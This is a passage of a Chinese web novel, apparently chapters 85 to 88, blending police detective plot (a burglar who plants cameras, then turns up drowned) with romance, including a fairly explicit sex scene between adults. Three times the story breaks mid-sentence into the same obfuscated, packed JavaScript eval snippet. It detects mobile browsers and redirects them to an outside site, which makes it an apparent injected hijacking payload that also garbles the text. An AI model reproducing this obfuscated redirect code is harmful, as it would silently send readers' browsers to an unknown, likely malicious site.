了，我们明天拜托专业的技术员来检查，顺便找人换一个门锁。你家大门没有撬门的痕迹，如果不是那个人有专业工具，就是他偷偷复制了你家的钥匙，还是换个门锁比较安心。” 程昭刚刚也去检查了大门，确实是没有撬痕。而且那个人离开的时候，还按原样把门锁上了，说不定真的复制了她的钥匙。 程昭皱眉，“刚刚派出所的人也说，明天再派人过来，让我尽量保持现场。” 周立言挠挠头，提议：“你今晚要不要去我那里过一晚……我没有其他意思，就是觉得你一个人在这里不安全。” 程昭微微红了脸，“……好啊。我把小橘也带过去？” 周立言忍不住嘴角微翘：“当然，我家已经准备猫砂盆那些用具了，你带着猫过去就可以。等你家检查完，安全了，再带回来也不迟。” 程昭拍了他一掌，哼了一声，“居然连猫砂盆也准备了？是不是预谋很久了？” 周立言轻轻拉住程昭，圈住她的腰，懊恼地叹了一口气，“……我是想过很久，不过没想到是以这种方式邀请你回家。”他本来有另外的计划的，现在都被打乱了，还暴露了他蓄谋已久的小心思。 程昭笑了，轻轻推了他一把，“我饿了，我们快点吃饭吧，吃完再检查一下房间，然后收拾行李去你家。” “遵命！”周立言笑着立正行礼，然后快步走去厨房，继续完成煮了一半的晚餐。 …… 两人吃完饭，程昭又检查了一遍房间，她还查看了一下系统，可惜系统没有触发新事件，不知道是偷的东西没有价值还是什么原因。 周立言帮忙拎着大包小包的行李，程昭拎着装着小橘的猫包，坐上周立言的车，到了隔壁小区的小别墅。 小橘一开始因为环境陌生，还有点警惕不安，但是程昭、周立言在身边，屋子里面都是熟人的气息，渐渐放飞自我，到处撒欢了。小别墅比程昭的家大多了，还自带小花园，小橘自己一个猫也玩得很开心。 程昭看到小橘适应环境，放下心来。 周立言拿出一套新的床铺四件套，假意问道：“这套床铺是之前洗干净的……你想去哪个房间睡？” “哦？哪个房间比较经常有人用？” “我家很少来客人，也没有留过客人过夜……” 程昭拿起一个抱枕，笑着丢过去，砸中周立言，“……装模作样。” 周立言抓住迎面而来的抱枕，然后把手里的东西随手放到旁边，一把抱起程昭，用臂弯托住她的臀部，好像抱小孩一样举得高高的。 程昭被突然抱起，惊呼一声，抱住始作俑者的头，维持平衡。 周立言抬头看着她，清俊的脸微红，笑着说：“好的，我不装了，睡我房间？” 程昭低头看向他，感觉他的眼睛里面有一个旋涡，要把她吸入其中。她伸出一根手指，轻轻抬起他的下巴，俯身低语：“……是睡你房间……还是睡你？” 周立言感觉女朋友好像变成了一个女妖精，他脑海只剩下一个想法，“……睡我。” 程昭轻笑一声，俯身吻了下去…… 85. 欢愉 程昭一开始的感觉，是痒，来自灵魂和□□深处的痒。每一次的触摸，每一个亲吻，都引发了一丝渴望。渴望融为一体，渴望感受彼此。 周立言为了让程昭舒服，做了充足的准备，等她完全进入状态，才发起进攻。 程昭充分地感受到男朋友的热情，甚至觉得他有点过分热情了。卧室没开灯，她刚刚害羞没有仔细观察，但是此时此刻，她结结实实地感受到了男朋友的尺寸。 太撑了，有点吃不消…… 她想抗议，但是他的热情很快将她融化了。慢慢的，她也体会到了其中的快乐。她忍不住咬着嘴唇，抑制着不让自己叫出来。 周立言心疼地亲亲她的唇，放缓了攻势，喘息着，“别咬自己的嘴。” “都怪你。”程昭被自己的声音吓了一跳，太娇了。程昭感觉周立言听到她的声音，那里变得更兴奋了，她忍不住哼了一声。 “这边房子的隔音很好，邻居也住得远。”周立言在她的耳边低语，鼓励她不要克制，“……我喜欢你的声音。” “呜，感觉到了，你慢一点……”她生理泪水都出来了，声音也抑制不住，小声地哼哼。 “……我尽量。” …… 两人翻来覆去地闹了大半夜。 程昭感觉自己又累又渴又困，连忙制止了又有点蠢蠢欲动的男朋友，“不要了，我好累，好困，我想睡觉了。” “好吧，我去倒杯水给你，你嗓子都哑了。”周立言也感觉自己有点过分了，连忙亲亲女朋友，然后给她拿点水润润喉。 周立言出去了十分钟，带回来一杯温水和几条热毛巾。 程昭靠在床头接过水杯，一口气喝完了大半杯水，才感觉稍微好一点。 周立言帮她把水杯放到床头柜，又拿热毛巾给她热敷、擦身体。程昭感觉身体没有那么黏腻，舒服了很多。 擦完身体，周立言将她一把抱起，吓了她一跳。周立言解释：“我刚刚铺好隔壁房间的床了，我们下半夜去那边睡……主卧的床铺太湿了，睡着不舒服。” 这床铺确实是不能睡了……她都有点接受不了，更何况是有点洁癖的周立言，怪不得他刚刚走开了这么久。程昭用手指戳他的胸口，“床铺……都怪你。” 周立言笑着捉住她作乱的手指，一脸满足，“对，都怪我……你想去洗澡吗？” 程昭打了个哈欠，感觉顶不住睡意，迷迷糊糊地说：“不了，明天再说吧。” 周立言把她轻轻放到隔壁新铺好的床上，在她的额头落下一个吻，“嗯，睡吧。” 程昭太困了，几乎秒睡。周立言看着程昭的睡颜，忍不住又亲了一口。 他现在精神还有点兴奋，干脆去把两人的衣服放进洗衣机，然后又给主卧换上干净的床铺，把弄乱的东西归置好位置……一通忙活之后，衣服也洗好了，他晾好衣服，然后回到程昭的身旁，抱着她一起入睡。 …… 手机设置的闹铃响了，声音隐隐约约地从主卧传了过来。 程昭的生物钟也提醒她是时候起床了。但是她感觉自己眼皮好像被胶水黏住了一样，完全睁不开。她想翻个身，发现自己的腰被抱着，轻轻一动，就感觉身上一阵酸痛。 周立言感觉程昭的动静，知道她想醒了，在她额头落下一个早安吻，“醒了？时间还早，还可以再睡一会……不如早上请假？反正你还要回家等出警和检查。” “对哦……”程昭迷迷糊糊地，但是还想继续睡，“早上请假吧，昨晚派出所说早上派人过来……” “嗯，你继续睡一会吧，其他事情我帮你弄好。”周立言忍不住又亲了她一口，感觉自己那里早上有点过于兴奋，干脆先放开女朋友，自己离开被窝，免得又忍不住。 周立言感觉自己就是毛头小子开荤，面对女朋友，定力直线下降。昨晚闹得有点过火，再来一次，程昭该恼了，他还是先离诱惑远一点吧。 今天正常来说是要上班的，不过他们现在手上还没有紧急案件，两个人离开几个小时还是没问题的。程昭不怕公开关系了，他干脆给两人都请了假，理由也是现成的，程昭家里被不明人士行窃，需要等待检查。 周立言看时间，于山应该已经醒了，给他发了个请假信息。 没多久，于山回复信息：“知道了，两个人都早上请假……你小子，终于不装了？你们在一起多久了？” 果然没瞒过警局里面的人精，周立言笑着摇摇头，连忙回复：“有几个月了，办公室太高调怕影响不好，所以就没有和大家说。是我不对，下次请大家吃饭。” 信息发完没多久，于山打了电话过来。周立言有点疑惑，接通了电话。 于山：“我刚刚想了想，有点担心……程昭家里那个奇怪的小偷，会不会和最近的拐卖案……” 周立言：“应该不是。如果监控没看错的话，他拿走的资料是程昭父母的东西。不过我也打算叫市局的技术员帮忙，检查一下屋子里面有没有什么问题。我们手上有那个人的图像，再查查附近的监控，应该可以找到那个人的身份。” 于山：“嗯，你们留意一下，万一是组织的人，想报复调查过案件的刑警，或者是想了解警方的调查进度……如果有这种可能，你要尽快和我们说。” 周立言应是，两人挂了电话。然后周立言又给技术部的熟人发了信息，让他帮忙来一趟。 周立言看时间差不多，便去厨房做了早餐，然后去浴室浴缸放好了热水。 回到程昭睡觉的房间，周立言看到她还在被窝里睡觉，头发都睡乱了，顺手给她整理了一下头发，笑着说：“时间不早了，晚一些可能就有警员到你家……你要不要去泡个热水澡？还是不舒服吗？” 回笼觉睡眠比较浅，周立言给她整理头发的时候，她就醒过来了，只是懒洋洋地不想动。程昭揉了揉眼睛，“都怪你……我的腰和腿都好酸。” “是的，都怪我，我太贪心了。”周立言迅速认错，贴心地提供事后服务，“现在去泡澡吗？我抱你过去？” “要！”程昭确实不想走过去，干脆地伸手求抱抱。 周立言以公主抱的方式抱起了程昭，带着她去主卧的浴室。 周立言昨晚和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14533808|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天早上的表现都太贴心太娴熟了，程昭感觉很舒服之余，心里有点莫名地发酸。但是有些疑问说出来，可能会破坏气氛，她有点犹豫。 周立言担心昨晚自己太鲁莽，一直在观察程昭，自然没有漏过她的小情绪，立刻紧张问道：“怎么了？哪里不舒服吗？” 程昭支支吾吾，忍不住小声说出自己的疑问：“……我没有那么不舒服啦……我就是有点像问，你、你为什么好像对这些事情很熟练？” “很熟练？”周立言不解，“你是说哪些事？” 程昭觉得自己有点无理取闹，成年人嘛，有过去也是正常的……她不好意思地红了脸，小声说：“没事了，你当我没问吧。” 去主卧浴室的路不远，周立言把她放到浴室的洗手台上，双手撑在她身旁，仔细观察她的表情。结合她的表情和问题，还有昨晚的事，周立言迅速反应过来了。 他哭笑不得，窝着她的颈窝笑了。程昭又有点小脾气了，“你干嘛啊？好痒。” “没有熟练，”周立言笑完，眼睛亮晶晶地看着她，“我表现得熟练，是因为我在梦里排练过很多次。” 程昭定睛看着他，感觉到了他的真诚。居然是梦……她忍不住又羞红了脸。 周立言用力地抱了她一下，“我喜欢你吃醋的样子，但是不想看到你不开心。以后有什么疑问，你都要直接问我，好吗？” “好。”程昭小声回应。 “要不要我帮你洗澡按摩？”周立言趁机建议。 “不要。”程昭连忙把他赶出去。他帮忙洗，她早上都不用出门了。 …… 热水里面加了几滴舒缓的精油，感觉身体的不适都被洗去了不少。吃完早餐，程昭感觉自己好多了。 小橘吃了罐头，继续跑到周立言的小花园霍霍他的花草。周立言看到了也完全不介意。相反，小橘玩得越开心越好，这样他就方便把女朋友经常拐回家了。 两人换好衣服，回到程昭家里。没多久，接到报案的警员来了——于山觉得这件事太古怪，担心里面有问题，干脆把案件要了过来，让侯远山和孙泽林来负责。 侯远山看到周立言和程昭靠得那么近，还请假陪她，再神经大条也感觉到不对劲了。他惊疑不定看着两人：“你们、难道你们……” 孙泽林感到很无语，“他们一起上下班那么久了。一起出差，周队也没有要求换房间。你居然一直都没有怀疑过？” “周队拒绝了这么多妹子，我以为他不喜欢……”侯远山感觉到周立言冰凉的视线，讷讷地闭上嘴。 孙泽林很有同事爱地转移话题，左看看右看看程昭的房子，“没想到我们第一次来程昭家里，居然是帮忙查案。” 程昭干笑，和他们讲了发现案件的经过，还把喂食器摄像头拍到的视频发给他们。 侯远山和孙泽林认真听完，又看了录像，然后四处检查房子。 因为那个黑衣男子戴了手套，家里应该不会找到他的指纹。不过他们在房子里面找到了几根短头发，看起来不像是周立言的，所以准备带回去检测一下DNA。 86. 奇怪的小偷 “除了那个蓝色本子，家里还有其他东西不见吗？”孙泽林四处打量，微微皱眉，这个小偷也太古怪了，屋子里有几样显眼的财物，但是都原封不动。 程昭摇摇头：“我只知道家里值钱的东西没有丢，不确定他还有没有拿其他的东西……杂物房里面的东西，我有点记不清了，里面很多东西是我妹妹放进去的。我要问问她，才能知道有没有其他东西丢失。” 程父程母大概两年前出差意外死亡，当时原身忙着毕业和找工作，很多杂务都是程露做的。原身不想睹物思人，很少去翻看遗物。 “那个蓝色本子是谁的？里面记录了什么？” 程昭继续摇头，“应该是我父母的，但是我不清楚里面写了什么，晚一些我问问我妹妹。” “那好，等你们确定之后，再告诉我们吧。”孙泽林挠挠头，合上记事本。 孙泽林他们刚问完，技术部的人也来了。 经过一番检查，房子里面发现了两个很隐蔽的窃听器和针孔摄像头，窃听器粘在茶几底部，针孔摄像头藏在卧室对着床，用心险恶。 幸好发现得早，而且两个设备都没有联网，数据存进记忆卡，程昭家里的隐私没有泄露。 程昭和周立言的心里感到一阵后怕、庆幸和愤怒，幸好有小橘提醒，不然她们可要吃闷亏了。 大家越发感觉这个事情不对劲了。一般小偷小摸的只为钱财，这个人不仅偷了一个记事本，偷听她们家的隐私，还可能事先拿到了程家的钥匙…… 技术员把记忆卡插进电脑，扫描了确认没有病毒，然后让程昭检查记忆卡里面有没有拍下什么隐私。 程昭大概看了一下，这些东西都是昨天那个人留下的，只录下了昨晚他们在家里说的话，“只录下了我们的一些对话，没有什么关系。” “那就好，这些东西我们等下带回去，”技术员很谨慎，触摸设备和记忆卡的时候，全程都带着手套，“鉴证科那边会检验指纹等痕迹，我们会查设备的购买源头，看看能不能确定买家身份。” “麻烦你们了，”周立言忍下心头的怒火，冷静思考了一下，然后指挥侯远山、孙泽林，“你们收集一下附近的监控，我们等下一起回警局查这个案子。” “嗯，我们现在就去调监控。”侯远山和孙泽林也感觉到周队的气压在飙升，赶紧去干活。 技术员没有其他的事，先行告辞，回去警局查设备。 “好了，别生气了，你吓到侯远山他们了。”程昭哭笑不得。其他人不在，她上前抱了一下他，以作安抚。 周立言轻哼，“……我也不是对他们生气，怎么会吓到他们。” 周立言找了一个做家居安防系统的朋友，让他帮忙推荐可靠的产品，打算给程昭家升级一下安防，陌生人一进来就发出警报。 程昭本来只打算换个门锁，但是周立言一番好意，她自然不会拒绝。 程昭把黑衣男子拿着蓝色笔记本的画面发给了程露，给她发了信息，讲了家里进贼的事，询问她知不知道笔记本的事。程露现在应该还在上课，不能玩手机，估计要等中午以后才会回复。 程昭留意了一下系统，系统还是没新增事件，真奇怪。 想不通的事情，程昭也不去想了。即使没有触发事件，按正常流程也可以查出真相。就是不能作弊，麻烦一点。 …… 因为周立言找熟人帮忙，而且出手大方，安防公司的人接到单子就过来了。 产品经理根据房子布局和客人需求，当场给出了三套设计方案。程昭和周立言讨论了一下，选了其中一套。产品经理拿到了方案，立刻回公司，找人准备安防系统的软件系统和硬件设备。 大门门锁不需要等安防系统，可以先更换。周立言选了安全系数最高的一款，安装师傅把新门和锁带了过来，把大门和锁都换了。整个过程十分高效，还帮忙把换下来的门和垃圾都搬走了。 侯远山和孙泽林收集完监控录像，回来看到这边连门带锁都换好了，都忍不住惊叹。 这边的事情都处理好了，一行人回到市局，一起查这个奇怪的盗窃案。 …… 喂食器的摄像头拍下了小偷的画像，确定了他的衣着打扮和出现的时间。有了这些作为参考，再配合小区周围的监控，程昭他们很快锁定了嫌疑人——一个看起来很斯文很精英的年轻男性。 图像里面的嫌疑人有点模糊，但是程昭莫名地感觉他有点眼熟，“奇怪了，我怎么觉得好像见过这个人？” 周立言很快认出了这个人的身份，“孟飞，我爸的一个秘书。上次我们在商场，你见过他一面。” 程昭想起来了，怪不得有点眼熟。 办公室里的其他人面面相觑，一个入室盗窃不偷钱财的小偷，居然还是周队的认识的人。事情越来越奇怪了。 程昭也想不明白，她和孟飞只有一面之缘，无仇无怨，完全就是陌生人，他怎么会盯上她的？没有系统提示，她只好瞎猜一下，“难道是你爸想针对我？” 周立言沉吟片刻，摇摇头，“应该不是。他要对你出手的话，也不至于派秘书去你家里偷东西。” 多想无益，既然知道嫌疑人身份，他们不如直接把人带回来审问。 周立言也不事先通知周父，直接按正常流程，确定了嫌疑人在周氏总公司，然后带队过去抓人。 …… 到了公司，他们却扑空了。 公司前台小姐一脸歉意，“不好意思，你们打电话来的时候，孟秘书还在公司的。十多分钟前，清江码头仓库那边突然有事，把他叫过去了。” 孙泽林一脸怀疑，“这么凑巧？不会是你们通风报信，包庇嫌疑人吧？” 前台小姐慌张地摇头摆手，恨不得当场发誓以表清白，“没有！真没有！你们电话要求我不要和别人说，我都照做了！他离开的时候跑得太快，我来不及叫人帮忙……他离开之后，我立刻去问了他去哪里，然后打电话给你们，但是你们办公室电话没有人接……” 是了，他们四个都出来了，乔良和陈丰去跟进另外的案件了。他们小队办公室确实没有留人。 没办法，周立言、程昭一行人只好转移阵地，去清江码头仓库找人。幸好开车路程不算太远。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14545179|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 周立言在开车之前，联系技术部，再一次确定了孟飞手机的定位。他确实是去了清江码头仓库。 …… 十几分钟后，他们来到了清江码头仓库。 这片仓库占地面积很大，他们不确定目标人物在几号仓库，找人很麻烦。 周立言只好联系技术部，想办法确定嫌疑人的位置。技术部立刻帮忙查定位，但是很不幸，嫌疑人的手机关机了。 “居然关机了？”侯远山皱眉，“难道那家伙逃跑了？” 程昭想了想，觉得不太可能，“他没有偷什么贵重物品，虽然偷偷放了窃听器和摄像头，但是这些罪名都不会太重。他前途正好，生活富裕，没理由抛下一切逃走。” 周立言补充：“……除非他还藏着不可告人的秘密。” 众人无奈，只好继续找人。 孙泽林查到了孟飞的车牌号，便去仓库区的出入口询问保安，想确认车子离开的时间和方向。保安很配合，立刻联系负责人，去系统后台查了车牌号…… “孟飞的车子没有离开。”孙泽林气喘吁吁地跑回来汇报，“刚刚十几分钟之内，没有车子离开过。” 大家都感到很疑惑，这个孟飞是逃了还是没逃？逃跑的话，不应该不开车逃走啊…… “没有车子离开过……”程昭灵光一闪，“那有没有船离开过？他会不会搭船离开？” 周立言沉吟，“不排除这个可能。既然他关机了，估计已经知道我们在找他了。联系交警和水警帮忙吧，也让码头和仓库的工作人员帮忙找人。” 众人应是，然后开始分工合作。 …… 码头、仓库的负责人查了后台记录，给出了今天来往船舶、车辆的记录。 工作人员也配合调查，帮忙实地找人，还查了监控，确定嫌疑人最终是去了码头的方向。 水警帮忙拦下了可疑的船舶，但是船上没有找到嫌疑人。 孟飞好像变成了一滴水，融入了江河，消失于无形。 …… 嫌疑人不见了。 不过关于那个被偷走的蓝色笔记本，程露回忆了半天，终于想起了它的来历，连忙打电话给姐姐。 “这个本子是和爸爸妈妈的办公室用品放在一起的。他们出了意外之后，公司的同事帮他们收拾工位的东西，打包送到家里来，给我们留作纪念……不过那个本子的笔迹好像不是他们的，我搞卫生的时候看了几眼，所以有点印象。” 程昭：“那你还记得，里面写了什么内容吗？” 程露：“我没认真看，好像就是一些货物、金额、时间之类的记录。但是不记得具体是什么了。” 所以，这个本子很可能和程父程母以前的公司有关系。 如果程昭没记错，那个公司好像是一个船务公司。 …… 两天后，孟飞出现了。 他的尸体漂浮在江面，被一大早出来碰运气的钓鱼佬钓到了。 钓鱼佬一开始还以为有大鱼上钩，没想到钓上来一个面目浮肿的男尸，吓得差点扔了钓鱼竿，连忙报了警。 87. 秘书 钓鱼佬报警。 到场的警员找到了死者的钱包和身份证，发现死者正是最近刑警队在找的孟飞，立刻上报信息。 周立言带着程昭、侯远山、孙泽林来到现场。 法医比他们先一步来到现场，做完了初步的检查。 法医：“……死者的死因是溺亡。根据尸斑、腐败程度、环境温度等综合分析，暂时推测死亡时间是前天的晚上9点至凌晨5点。死者身上有多处撞击伤痕，还有一些疑似动物啃食的痕迹，回去之后会做进一步的检查。” 众人谢过法医，然后开始检查尸体和尸体的随身物品。 程昭抽空查看了一下系统，这次系统终于触发了新事件。 【“秘书死亡事件”，事件归类到“KL组织事件集”里面。 “死者去程家偷东西”、“蓝色笔记本”被标注关联，“蓝色笔记本”的关联程度还很高。】 居然和组织有关系？程昭微微一惊，但是现在没时间细想，只能先把注意力放到尸体和物证上面。 死者孟飞身上穿的，是他逃跑那天所穿的衣服。原本质量上乘的深蓝色西装，现在皱皱巴巴的，还有多处明显的磨损，好像湿抹布。 死者身上有钱包、钥匙、纸巾、卡包、签字笔，但是手机不见了。 程昭仔细观察，然后又查看系统提示，发现了几处异常。 【“死者手腕有常年戴表的日晒痕，但是手表不见了”、“死者的头部受到击打”……】。 …… 孟飞死得太突然，也太蹊跷。 警察刚怀疑他，他就死了，而且离开公司的时机过于巧合。不得不让人怀疑，是周氏公司内部的人发现警察行动，提前杀他灭口。 孟飞是周氏总裁周青海的秘书，大家都有点怀疑是不是和周青海有关系。 程昭迟疑地看了看周立言。 周立言倒是没有怎么犹豫，直接开口，“不瞒大家，我和周青海是父子关系。不过我和周家感情淡薄，关系比较复杂，所以一直没有提过。” 孙泽林和侯远山面面相觑，这个信息也太突然了。 他们之前也猜过周队是富二代。他老是自掏腰包请客吃饭，还给办公室买了自动咖啡机、很好喝的咖啡豆和茶叶，十分豪爽。但是他们都没想到周队和周氏有关系，周氏是国内的知名企业、纳税大户，这样人家的孩子肯定都是在自家公司当小领导的，怎么可能会出来打工。 周立言又继续补充：“按道理，我是应该回避这个案件的，但是如果只是你们几个去周氏，可能比较难见到他们总裁。不如让我充当敲门砖，到时候你们来问问题。收集证据的环节我会回避……如果案件真的和周青海有关，我会退出调查，或者把案件交给其他队的人。” 大家都明白周队的顾虑。万一真的和他父亲有关，他参与调查，可能会影响判断，而且会被对方怀疑公正性。 既然周队都想好了，大家点头应是。 …… 一行人回到周氏总公司。 他们刚进门，就看到之前说过话的前台小姐。 前台小姐看到他们，态度和上次见面相差很远，看起来不太高兴。侯远山上前和她交谈，她抬手制止他说话，然后直接拿起公司电话，拨打内线电话，请人出来和警方对接。 前台小姐叹了口气，小声地偷偷和他们说：“不好意思，上面规定，不允许我直接和警方对接。上次你们找孟秘书，领导事后知道了，还骂了我一顿……我再帮你们，我可能就要被辞退了。” 大家微微皱眉，看来周队的顾虑没有错，他们没有那么容易接近大公司总裁。 没多久，一个看起来精明强干、年轻漂亮的女人来到一楼大堂，笑着向他们走来。她看出一行人里面周立言是主导，率先和他握手问好，“你们好，市局的刑警同志，我叫陈瑜，是周氏的公关经理。你们有什么需求，都可以和我说，我会尽量协助。” 周立言：“贵司的总裁秘书孟飞，今天发现了他的尸体。我们正在调查他入室盗窃和死亡的案件……我们需要检查他的物品，询问他的领导和同事。” 陈经理笑了，“我们可以把他的私人物品拿给你们，但是办公相关的物品可能涉及商业机密。我会找他的一些同事来配合你们问话，但是他的领导是总裁，总裁工作繁忙，不一定抽得出时间，请见谅。” 周立言：“那先带我们到他的办公室吧，我们需要亲自取证。” 陈经理还想继续打太极，不想让他们直接闯入。孟飞是总裁办公室的人，警察在哪里乱搜，领导不高兴她就麻烦了。 周立言不想花太多时间在周氏公司，干脆直接打电话给周青海。他把孟飞入室盗窃、安装窃听器摄像头、逃避警方查问的事，和周青海简单说了一遍，把利弊都摊开分析。 “……孟飞行事诡异，而且又在这个敏感的时间节点，上面的领导担心他是不是想刺探拐卖组织的事。周氏陆运海运规模不小，也是被怀疑的对象。你们还不如痛痛快快地配合我们调查，只有确定孟飞的事和周氏无关，你们才能继续安稳做生意。” 一开始，周青海确实不愿意，协助警方调查。孟飞只是他总裁办公室其中一个小秘书，平时工作还算用心，没想到背地里是鸡鸣狗盗的人。警方来办案，被有心人看到，难保不会传出什么不好的谣言，影响企业形象…… 但是周立言说的话也有道理，万一调查组的人，真的把周氏列为拐卖组织的怀疑对象，这就真的麻烦了。 周青海只好同意配合调查，让陈经理带他们上来总裁办公室。 陈经理看到这个帅气的冷面队长，居然直接联络了总裁周青海，还说服老板改变主意，立刻转变了接待的态度，很殷勤地送了他们到总裁办公室，一路上都在打听冷面队长和老板的关系。 周立言没打算经常和周氏公司的人打交道，所以并没有怎么搭理陈经理，淡淡地谢过对方带路，然后直接带队去找周青海谈话。 …… 陈经理把人带上来之后，也没有立刻离开。她还需要继续跟着这几个警察，协助他们，直至他们离开公司。这个任务是之前部门老总交待她的，她不敢放任警察在公司乱逛，万一出了什么问题，她就麻烦了。 陈经理去了总裁办公室，找了资历最老的李秘书闲聊，想打听那个冷面队长的来历。 李秘书抬头张望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14573517|143875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下，看到陈经理所说的冷面队长，了然地点点头，然后一言不发继续做事。 陈经理娇嗔：“不是吧，我和你说八卦，你听完居然什么都不说？” 李秘书抬眸扫了陈经理一眼，陈经理好像还是单身。她跟着老板做了十几年秘书，她两下就猜到了陈瑜的小心思。她确实是知道那个队长的身份，但是…… 李秘书没好气地回了一句，“陈经理，我能够保住这份工作十几年，就是因为我知道什么可以说，什么不可以说。你那些小心思，别以为别人看不出来。” 陈经理有点羞恼，但是她也不想得罪李秘书，连忙低声下气地求饶。 李秘书想了想，还是靠近陈经理，低声说：“算了，一场同事，我和你说一点吧。这个人你最好不要惦记。”说完，她就没有再搭理陈经理的追问。 陈经理不甘心地看看李秘书，又看看总裁房间的方向，撇撇嘴，若有所思。 …… 周立言一行人见到周青海。 周立言进了房间就不说话了，让程昭、侯远山、孙泽林自由发挥。 程昭开门见山，先摆出一种可能，“周先生，孟飞是你的秘书，他来我家偷东西，还放置窃听器、针孔摄像头，是不是你指示的？” 周青海立刻黑着脸，怒视程昭和周立言，“你在胡说什么？我为什么要这样做？” 程昭：“这个只是一个猜测，你不希望我和周队交往，想做点什么事，逼迫我们分手。孟飞是你的秘书，所以他很可能是听从你的安排做事。” “胡说八道！”周青海生气地拍了一下桌子，质疑地看向周立言，“立言，你女朋友这样和你父亲说话，你就这样看着？” 周立言一脸无所谓，耸了耸肩，“没办法，现在我们还不清楚孟飞的动机。只能乱猜。我们还猜孟飞是不是拐卖组织的人。” 侯远山：“而且贵司一开始不想配合我们调查，我们怀疑你们是一伙的，也情有可原。” 孙泽林：“如果我们可以搞清楚孟飞一系列事件的动机，搞清楚他的死因，就不会继续来麻烦你们了。” 周青海黑着脸，十分后悔之前的决定。他现在只希望警方快点查清楚，然后快点离开。 刺激完周青海，大家开始正式问问题。周青海现在恨不得他们快点问完，十分配合。有些问题他不了解的，直接叫其他知情的老员工进来办公室回答。 孟飞，27岁男性，F市人，外国名牌大学毕业，上一家公司在A国，回国后进入周氏公司工作，已入职一年八个月。他是由一个已离职的员工推荐入职的。他的家人不在A市，独自在公司附近租房住。 和他共事过的同事表示，孟飞工作很积极，很乐意帮人跑腿，在办公室人缘不错。不过也有同事对他的学历表示质疑，“……听说他是外国留学回来的，但是英文还没有我们好。” 程昭、孙泽林、侯远山收集了关于孟飞的信息，打包了他工位上的所有物品。 周立言则是站在一旁当门神，不引导问话，也不接触物品。 陈经理几次借故上前攀谈，但是周立言都没有理会她。几次受挫，陈经理也打消了接近他的念头。 88. 关联点 程昭一行人把死者的公司物品和同事的供词，先带回警局整理。 大家凑到一块，共享各自获取到的信息。 孙泽林：“我问了死者的同事，那天死者突然接到一个电话，说码头仓库那边有急事要处理，然后开车离开公司。但是周氏公司的人查过，那天并没有项目，发出过这样的请求。” 侯远山：“接到我们询问电话的前台小姐说，她没有和其他人说过，警察准备上门找孟飞的事。不过，她接听电话和核实死者是否在公司的时候，周围有人经过，可能是有心人猜到警方准备上门，提前调走了死者。” 程昭：“死者的同事怀疑，死者可能被富婆包养过。他的消费支出远高于他的工资水平，而且死者可能有赌博的癖好……富婆包养可能是谣言，但是他应该有不正常的收入来源。” 周立言沉吟：“我刚刚看你们收集的物品，里面不少是轻奢品牌，确实和他的消费能力不符……我们明天再查查死者的家庭等背景信息，还有他收入和消费情况。另外，还要查一下他上一份工作是什么公司。” 程昭：“是的，如果他和我父母有什么交集，那应该是至少在两年以前。他在周氏才入职一年八个月。” 时间不早，大家讨论完就下班，各自回家。 …… 程昭家里的安防系统已经装好了，不过周立言以小橘在他家玩得比较开心、程昭一个人在家他不安心为由，继续把她拐回自己家里。 程昭自然清楚他打的什么主意，不过她也没揭穿或者拒绝。 一来，她自己在家挺无聊的；二来，小偷入室偷东西，还很龌龊地放过摄像头，整个屋子都被他翻过，她心里有点膈应。而且取证、安装设备的时候，很多地方都弄脏了，房子要大扫除一下才行。 吃完饭，程昭干脆拉上周立言，先回程昭家里一趟——大扫除，顺便整理杂物房，看看有没有遗漏的证据。 “搞卫生，顺便当日常运动了！”程昭握拳，搞卫生消耗的体力也不少。 “没问题，肯定帮你整理得干干净净。”周立言比了个“OK”手势，然后开始干活。 程昭把柜子里面的衣服都拿出来，打算分次放进洗衣机里面洗一下。经过周立言身边的时候，她忍不住观察了一下周立言的举动。 周立言有点强迫症和小洁癖，搞卫生果然特别熟手。之前房子被取证人员和安装师傅弄得有点乱，物品上面还有一些钻墙带出来的灰尘，周立言很迅速地把东西擦得干干净净，摆放得整整齐齐。 做家务的男人，看起来好帅！ 程昭忍不住过去，从后面抱了抱周立言的腰，“辛苦了，谢谢你。” 周立言失笑，他很想转身抱回去，可惜他的手拿着脏抹布，“小事情而已，和我客气什么……不过，晚一点我会来领取我的报酬。” 程昭想起那晚的热情，有点忍不住羞红了脸。那天闹得太过了，后来两晚都没有再做，只是单纯地盖被子睡觉。 “……回去再说，这里太乱了。”程昭小声回应。 周立言叹气，补充了一句，“而且墙太薄了……” 程昭回想起之前，和周立言听到附近邻居的“鼓掌”声，感觉一股热气直冲脑门，脸更热了。她连忙跑开，强行暂停这个尴尬的话题。 周立言看着女朋友落荒而逃，忍不住笑出声。他摇摇头，把脑子里面的绮念晃走，然后继续清洁。 